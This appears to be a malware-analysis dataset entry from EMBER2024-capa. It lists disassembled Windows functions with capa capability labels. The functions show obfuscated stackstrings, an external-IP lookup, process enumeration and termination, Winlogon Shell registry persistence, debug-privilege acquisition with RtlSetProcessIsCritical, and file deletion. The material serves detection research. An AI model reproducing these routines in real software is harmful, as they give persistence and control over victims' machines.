joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140015ca0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [0x14056fa28]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x30], 0x1e
mov byte [rsp + 0x38], 0xda
mov byte [rsp + 0x39], 0x17
mov byte [rsp + 0x3a], 0xf8
mov byte [rsp + 0x3b], 0x4b
mov byte [rsp + 0x3c], 0x62
mov byte [rsp + 0x3d], 0x25
mov byte [rsp + 0x3e], 0x3c
mov byte [rsp + 0x3f], 0x8f
mov byte [rsp + 0x40], 0xd0
mov byte [rsp + 0x41], 0x13
mov byte [rsp + 0x42], 0xe8
mov byte [rsp + 0x43], 0x28
mov byte [rsp + 0x44], 0x77
mov byte [rsp + 0x45], 0x22
mov byte [rsp + 0x46], 0x2d
mov byte [rsp + 0x47], 0x82
mov byte [rsp + 0x48], 0xb9
mov byte [rsp + 0x49], 0x3f
mov byte [rsp + 0x4a], 0x9b
mov byte [rsp + 0x4b], 0x5f
mov byte [rsp + 0x4c], 3
mov byte [rsp + 0x4d], 0x5f
mov byte [rsp + 0x4e], 0x49
mov byte [rsp + 0x4f], 0xf3
mov byte [rsp + 0x50], 0xb4
mov byte [rsp + 0x51], 0x25
mov byte [rsp + 0x52], 0xc4
mov byte [rsp + 0x53], 0x1f
mov byte [rsp + 0x54], 0xa
mov byte [rsp + 0x55], 0x77
mov eax, 0x300
mov eax, eax
mov ecx, dword [0x140570060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x140015dff
mov eax, 0x300
mov eax, eax
mov ecx, dword [0x140570060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov dword [rsp + 0x20], eax
mov eax, dword [0x140570060]
mov rcx, qword gs:[0x58]
mov edx, 0x300
mov edx, edx
mov rax, qword [rcx + rax*8]
mov ecx, dword [rsp + 0x20]
mov dword [rdx + rax], ecx
mov eax, 0x2e0
mov eax, eax
mov ecx, dword [0x140570060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x28]
call fcn.1400159d0
lea rcx, [0x14001f930]
call fcn.14001bc8c
nop
mov eax, 0x2e0
mov eax, eax
mov ecx, dword [0x140570060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14001b7a0
add rsp, 0x68
ret
Function at 0x140015e30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov rax, qword [0x14056fa28]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x30], 0x31
mov byte [rsp + 0x38], 0x72
mov byte [rsp + 0x39], 0x13
mov byte [rsp + 0x3a], 0x6e
mov byte [rsp + 0x3b], 0x29
mov byte [rsp + 0x3c], 0xe0
mov byte [rsp + 0x3d], 0x81
mov byte [rsp + 0x3e], 0x2a
mov byte [rsp + 0x3f], 0x89
mov byte [rsp + 0x40], 0x78
mov byte [rsp + 0x41], 0x17
mov byte [rsp + 0x42], 0x7e
mov byte [rsp + 0x43], 0x4a
mov byte [rsp + 0x44], 0xf5
mov byte [rsp + 0x45], 0x86
mov byte [rsp + 0x46], 0x3b
mov byte [rsp + 0x47], 0x84
mov byte [rsp + 0x48], 0xb
mov byte [rsp + 0x49], 0x63
mov byte [rsp + 0x4a], 0x43
mov byte [rsp + 0x4b], 0x31
mov byte [rsp + 0x4c], 0x97
mov byte [rsp + 0x4d], 0xf3
mov byte [rsp + 0x4e], 0x41
mov byte [rsp + 0x4f], 0xf2
mov byte [rsp + 0x50], 3
mov byte [rsp + 0x51], 0x6e
mov byte [rsp + 0x52], 0x59
mov byte [rsp + 0x53], 0x60
mov byte [rsp + 0x54], 0xd5
mov byte [rsp + 0x55], 0xff
mov byte [rsp + 0x56], 0x49
mov byte [rsp + 0x57], 0xb3
mov byte [rsp + 0x58], 0x44
mov byte [rsp + 0x59], 0x2d
mov byte [rsp + 0x5a], 0x55
mov byte [rsp + 0x5b], 0x60
mov byte [rsp + 0x5c], 0xcf
mov byte [rsp + 0x5d], 0xb4
mov byte [rsp + 0x5e], 0x49
mov byte [rsp + 0x5f], 0xa8
mov byte [rsp + 0x60], 0x5f
mov byte [rsp + 0x61], 0x63
mov byte [rsp + 0x62], 0x6c
mov byte [rsp + 0x63], 0x66
mov byte [rsp + 0x64], 0xf6
mov byte [rsp + 0x65], 0xe5
mov byte [rsp + 0x66], 0x5d
mov byte [rsp + 0x67], 0xe8
mov byte [rsp + 0x68], 0x31
mov eax, 0x33c
mov eax, eax
mov ecx, dword [0x140570060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x140015ff1
mov eax, 0x33c
mov eax, eax
mov ecx, dword [0x140570060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov dword [rsp + 0x20], eax
mov eax, dword [0x140570060]
mov rcx, qword gs:[0x58]
mov edx, 0x33c
mov edx, edx
mov rax, qword [rcx + rax*8]
mov ecx, dword [rsp + 0x20]
mov dword [rdx + rax], ecx
mov eax, 0x308
mov eax, eax
mov ecx, dword [0x140570060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x28]
call fcn.140015ab0
lea rcx, [0x14001f960]
call fcn.14001bc8c
nop
mov eax, 0x308
mov eax, eax
mov ecx, dword [0x140570060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14001b7a0
add rsp, 0x88
ret
Function at 0x140016020
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [0x14056fa28]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x30], 0x1f
mov byte [rsp + 0x38], 0x1e
mov byte [rsp + 0x39], 0xf5
mov byte [rsp + 0x3a], 0x7a
mov byte [rsp + 0x3b], 0xff
mov byte [rsp + 0x3c], 0xe4
mov byte [rsp + 0x3d], 0x81
mov byte [rsp + 0x3e], 0x20
mov byte [rsp + 0x3f], 0x93
mov byte [rsp + 0x40], 0x14
mov byte [rsp + 0x41], 0xf1
mov byte [rsp + 0x42], 0x6a
mov byte [rsp + 0x43], 0x9c
mov byte [rsp + 0x44], 0xf1
mov byte [rsp + 0x45], 0x86
mov byte [rsp + 0x46], 0x31
mov byte [rsp + 0x47], 0x9e
mov byte [rsp + 0x48], 0x67
mov byte [rsp + 0x49], 0x85
mov byte [rsp + 0x4a], 0x57
mov byte [rsp + 0x4b], 0xe7
mov byte [rsp + 0x4c], 0x93
mov byte [rsp + 0x4d], 0xf3
mov byte [rsp + 0x4e], 0x4b
mov byte [rsp + 0x4f], 0xe8
mov byte [rsp + 0x50], 0x6f
mov byte [rsp + 0x51], 0x88
mov byte [rsp + 0x52], 0x4d
mov byte [rsp + 0x53], 0xb6
mov byte [rsp + 0x54], 0xd1
mov byte [rsp + 0x55], 0xfa
mov byte [rsp + 0x56], 0x63
mov eax, 0x360
mov eax, eax
mov ecx, dword [0x140570060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x140016184
mov eax, 0x360
mov eax, eax
mov ecx, dword [0x140570060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov dword [rsp + 0x20], eax
mov eax, dword [0x140570060]
mov rcx, qword gs:[0x58]
mov edx, 0x360
mov edx, edx
mov rax, qword [rcx + rax*8]
mov ecx, dword [rsp + 0x20]
mov dword [rdx + rax], ecx
mov eax, 0x340
mov eax, eax
mov ecx, dword [0x140570060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x28]
call fcn.140015a40
lea rcx, [0x14001f990]
call fcn.14001bc8c
nop
mov eax, 0x340
mov eax, eax
mov ecx, dword [0x140570060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14001b7a0
add rsp, 0x68
ret
Function at 0x1400168f0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x1068
call fcn.14001b870
sub rsp, rax
mov rax, qword [0x14056fa28]
xor rax, rsp
mov qword [rsp + 0x1050], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.IP_retriever
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.http:__myexternalip.com_raw
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov qword [rsp + 0x40], rax
lea r9, [rsp + 0x48]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetReadFile]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [rsp + 0x48]
mov r8d, eax
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x1078]
call fcn.140004600
mov eax, dword [rsp + 0x30]
or eax, 1
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x1078]
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.14001b7a0
add rsp, 0x1068
ret
Function at 0x1400169e0
Capabilities:
Get memory capacity

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x198
mov rax, qword [0x14056fa28]
xor rax, rsp
mov qword [rsp + 0x180], rax
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0xf0]
call fcn.1400049f0
nop
mov dword [rsp + 0x140], 0x40
lea rcx, [rsp + 0x140]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
jge 0x140016abe
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, eax
lea rcx, str.GLOBALMEMORYSTATUSEX_ERROR
add rcx, rax
mov rax, rcx
mov rdx, rax
mov rcx, qword [rsp + 0x28]
call fcn.140004560
mov qword [rsp + 0x30], rax
mov r8, qword [rsp + 0x30]
mov edx, 1
lea rcx, [rsp + 0xf0]
call fcn.14000c820
lea rdx, [0x140021df5]
mov rcx, qword [rsp + 0x1a8]
call fcn.140004560
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
lea rcx, [rsp + 0xf0]
call fcn.140005840
mov rax, qword [rsp + 0x1a8]
jmp 0x140016bcb
mov rax, qword [rsp + 0x148]
test rax, rax
jl 0x140016ad2
cvtsi2ss xmm0, rax
jmp 0x140016aeb
mov rcx, rax
shr rcx, 1
and rax, 1
or rcx, rax
cvtsi2ss xmm1, rcx
addss xmm1, xmm1
movaps xmm0, xmm1
divss xmm0, dword [0x140022258]
movss dword [rsp + 0x24], xmm0
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x48], rax
movss xmm1, dword [rsp + 0x24]
lea rcx, [rsp + 0x68]
call fcn.140016e20
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
mov r8, qword [rsp + 0x40]
lea rdx, [0x140022168]
mov rcx, qword [rsp + 0x48]
call fcn.14000b300
mov qword [rsp + 0x50], rax
mov r8, qword [rsp + 0x50]
mov edx, 2
lea rcx, [rsp + 0xf0]
call fcn.14000c820
nop
lea rcx, [rsp + 0x68]
call fcn.140005770
movss xmm1, dword [rsp + 0x24]
lea rcx, [rsp + 0x88]
call fcn.140016e20
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x60], rax
mov r8, qword [rsp + 0x60]
lea rdx, str.PHYSICAL_RAM
mov rcx, qword [rsp + 0x1a8]
call fcn.14000b300
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
lea rcx, [rsp + 0x88]
call fcn.140005770
nop
lea rcx, [rsp + 0xf0]
call fcn.140005840
mov rax, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.14001b7a0
add rsp, 0x198
ret
Function at 0x1400183b0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x1a8
mov rax, qword [0x14056fa28]
xor rax, rsp
mov qword [rsp + 0x190], rax
lea rcx, [rsp + 0x140]
call fcn.1400049f0
nop
lea rax, [rsp + 0x120]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0x60], rax
mov r8, qword [rsp + 0x1c0]
lea rdx, str.CALLING_ShellExecWithoutWait_FILE__
lea rcx, [rsp + 0x100]
call fcn.14000e6d0
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea r8, [0x1400229dc]
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0xe0]
call fcn.1400017e0
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x48], rax
lea r8, str._PARAMS__
mov rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0xc0]
call fcn.1400017e0
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x68], rax
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0xa0]
call fcn.14000b1d0
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x78], rax
lea r8, [0x1400229dc]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x80]
call fcn.1400017e0
mov qword [rsp + 0x88], rax
mov r8, qword [rsp + 0x88]
mov edx, 2
lea rcx, [rsp + 0x140]
call fcn.14000c820
nop
lea rcx, [rsp + 0xa0]
call fcn.140005770
nop
lea rcx, [rsp + 0xc0]
call fcn.140005770
nop
lea rcx, [rsp + 0xe0]
call fcn.140005770
nop
lea rcx, [rsp + 0x100]
call fcn.140005770
mov rcx, qword [rsp + 0x1b8]
call fcn.140008db0
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x1c0]
call fcn.140008db0
mov qword [rsp + 0x98], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x90]
mov r8, qword [rsp + 0x98]
lea rdx, [0x140022a14]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
lea rcx, [rsp + 0x140]
call fcn.140005840
nop
mov rcx, qword [rsp + 0x1b8]
call fcn.140005770
nop
mov rcx, qword [rsp + 0x1c0]
call fcn.140005770
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.14001b7a0
add rsp, 0x1a8
ret
Function at 0x140018c40
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x288
mov rax, qword [0x14056fa28]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0x238
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140018d03
mov rcx, qword [rsp + 0x298]
call fcn.1400090d0
mov rdx, rax
lea rcx, [rsp + 0x5c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x140018cf0
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140018cf0
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140018c8f
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.14001b7a0
add rsp, 0x288
ret

Function at 0x140018e80
Capabilities:
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x98
mov rax, qword [0x14056fa28]
xor rax, rsp
mov qword [rsp + 0x80], rax
lea rax, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rdx, qword [rsp + 0x30]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea rax, str.Shell
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x48]
lea rcx, str.explorer.exe_Starter.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x28], 0x32
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14001b7a0
add rsp, 0x98
pop rdi
pop rsi
ret
Function at 0x140019770
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x1f0
mov rax, qword [0x14056fa28]
xor rax, rsp
mov qword [rsp + 0x1e0], rax
lea rcx, [rsp + 0x190]
call fcn.1400049f0
nop
lea rax, [rsp + 0x100]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x50], rax
mov r8, qword [rsp + 0x210]
lea rdx, str.CALLING_ShellExecWithoutWait_FILE__
lea rcx, [rsp + 0xe0]
call fcn.14000e6d0
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
lea r8, [0x1400229dc]
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0xc0]
call fcn.1400017e0
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea r8, str._PARAMS__
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0xa0]
call fcn.1400017e0
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x58], rax
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x80]
call fcn.14000b1d0
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x68], rax
lea r8, [0x1400229dc]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
call fcn.1400017e0
mov qword [rsp + 0x78], rax
mov r8, qword [rsp + 0x78]
mov edx, 2
lea rcx, [rsp + 0x190]
call fcn.14000c820
nop
lea rcx, [rsp + 0x80]
call fcn.140005770
nop
lea rcx, [rsp + 0xa0]
call fcn.140005770
nop
lea rcx, [rsp + 0xc0]
call fcn.140005770
nop
lea rcx, [rsp + 0xe0]
call fcn.140005770
mov dword [rsp + 0x120], 0x70
lea rax, [rsp + 0x124]
mov rdi, rax
xor eax, eax
mov ecx, 0x6c
rep stosb byte [rdi], al
mov dword [rsp + 0x124], 0x40
mov rcx, qword [rsp + 0x210]
call fcn.140008db0
mov qword [rsp + 0x138], rax
mov rcx, qword [rsp + 0x208]
call fcn.140008db0
mov qword [rsp + 0x140], rax
mov dword [rsp + 0x150], 0
lea rcx, [rsp + 0x120]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x140019969
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rsp + 0x190]
call fcn.140005840
nop
mov rcx, qword [rsp + 0x208]
call fcn.140005770
nop
mov rcx, qword [rsp + 0x210]
call fcn.140005770
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.14001b7a0
add rsp, 0x1f0
pop rdi
ret
Function at 0x14001a8b0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x288
mov rax, qword [0x14056fa28]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0xffffffffffffffff
jne 0x14001a8f0
xor al, al
jmp 0x14001a953
mov dword [rsp + 0x30], 0x238
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x14001a946
lea rdx, [rsp + 0x5c]
mov rcx, qword [rsp + 0x298]
call fcn.14001a170
movzx eax, al
test eax, eax
je 0x14001a933
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x14001a953
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x14001a90b
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.14001b7a0
add rsp, 0x288
ret

Function at 0x14001a970
Capabilities:
Get token membership

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov rax, qword [0x14056fa28]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x78], 0
mov byte [rsp + 0x70], 0
mov byte [rsp + 0x71], 0
mov byte [rsp + 0x72], 0
mov byte [rsp + 0x73], 0
mov byte [rsp + 0x74], 0
mov byte [rsp + 0x75], 5
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x14001aa3d
lea r8, [rsp + 0x78]
mov rdx, qword [rsp + 0x68]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x14001aa32
mov dword [rsp + 0x78], 0
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x78], 0
je 0x14001aa4e
mov dword [rsp + 0x60], 1
jmp 0x14001aa56
mov dword [rsp + 0x60], 0
movzx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14001b7a0
add rsp, 0x98
ret

Function at 0x14001ab20
Capabilities:
Acquire debug privileges

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x48
lea rcx, [0x1400237b8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14001ab90
lea rdx, str.SeDebugPrivilege
mov rcx, qword [rsp + 0x50]
call fcn.14001a5e0
lea rdx, str.RtlSetProcessIsCritical
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
xor r8d, r8d
xor edx, edx
movzx ecx, byte [rsp + 0x58]
call qword [rsp + 0x30]
mov eax, 1
jmp 0x14001ab92
xor eax, eax
add rsp, 0x48
ret
Function at 0x14001ad30
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x178
mov rax, qword [0x14056fa28]
xor rax, rsp
mov qword [rsp + 0x160], rax
lea rcx, [rsp + 0x110]
call fcn.1400049f0
nop
mov rax, qword [rsp + 0x180]
add rax, 0x28
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x20]
call fcn.14000e350
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x38]
call fcn.14000a550
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x48], rax
lea r8, str.Windows_System32_flag.log
mov rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0xf0]
call fcn.1400017e0
nop
lea rcx, [rsp + 0x70]
call fcn.140005770
nop
lea rcx, [rsp + 0x90]
call fcn.140005a40
lea rcx, [rsp + 0xf0]
call fcn.140008db0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
jne 0x14001ae3e
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x50], rax
lea rdx, str.FLAG.LOG_FILE_WAS_DELETED_SUCCESSFULLY
mov rcx, qword [rsp + 0x50]
call fcn.140004560
mov qword [rsp + 0x58], rax
mov r8, qword [rsp + 0x58]
mov edx, 3
lea rcx, [rsp + 0x110]
call fcn.14000c820
jmp 0x14001ae79
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x60], rax
lea rdx, str.FAILED_TO_DELETE_FLAG.LOG_FILE
mov rcx, qword [rsp + 0x60]
call fcn.140004560
mov qword [rsp + 0x68], rax
mov r8, qword [rsp + 0x68]
mov edx, 1
lea rcx, [rsp + 0x110]
call fcn.14000c820
nop
lea rcx, [rsp + 0xf0]
call fcn.140005770
nop
lea rcx, [rsp + 0x110]
call fcn.140005840
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.14001b7a0
add rsp, 0x178
ret